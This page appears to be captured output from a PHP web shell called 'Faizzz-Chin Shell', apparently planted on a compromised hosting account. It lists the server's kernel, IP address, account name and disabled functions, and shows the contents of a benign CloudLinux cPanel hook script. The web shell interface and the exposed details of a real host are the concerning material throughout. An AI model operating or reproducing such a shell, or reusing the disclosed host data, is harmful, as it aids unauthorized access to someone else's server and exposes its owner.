SHELL BYPASS 403 |
Modern UI. Responsive. Powerful.

Faizzz-Chin Shell

Uname\Kernel: Linux server.kxo.bgz.mybluehostin.me 3.10.0-1160.119.1.el7.tuxcare.els19.x86_64 #1 SMP Mon Mar 31 17:29:00 UTC 2025 x86_64
Server: Apache
PHP Version: 8.2.28 [ PHP INFO ]
Operating System: Linux
Server Ip: 162.240.163.222
Your Ip: 216.73.216.114
Date Time: 2025-07-11 07:54:59
User: dilseshaadi (1027) | Group: dilseshaadi (1027)
Safe Mode: OFF
Disable Function: exec,passthru,shell_exec,system

name : cpanel-linksafe-delete-hooks
#!/bin/bash

source /opt/cloudlinux-linksafe/lib.sh

function deleteAllInclude(){
    hook_file="$1"
    tmp_name="$2"
    pattern="$3"
    common_path="$4"
    if [ ! -e "${common_path}/tmp" ]; then
        mkdir -p "${common_path}/tmp"
    fi
    if [ -e "${hook_file}" ];then
        cat "${hook_file}" | sed "${pattern}" > "${common_path}/tmp/${tmp_name}.tmp.$$"
        cat "${common_path}/tmp/${tmp_name}.tmp.$$" > "${hook_file}"
        rm -f "${common_path}/tmp/${tmp_name}.tmp.$$"
    fi
}

skip_on_cl_solo

if [ ! -e "/usr/local/cpanel/cpanel" ]; then
    exit 0
fi

if [  ! -e "/proc/sys/fs/protected_symlinks_allow_gid" ]; then
    exit 0
fi

POSTUPCP="/scripts/postupcp"
TARGET="cloudlinux-linksafe"
COMMON_PATH="/usr/share/${TARGET}/cpanel/hooks"

deleteAllInclude "${POSTUPCP}" "postupcp" "/#${TARGET}/d" "${COMMON_PATH}"

chown -h :root /usr/local/cpanel/base/frontend/paper_lantern/styled/*
© 2025 Faizzz-Chin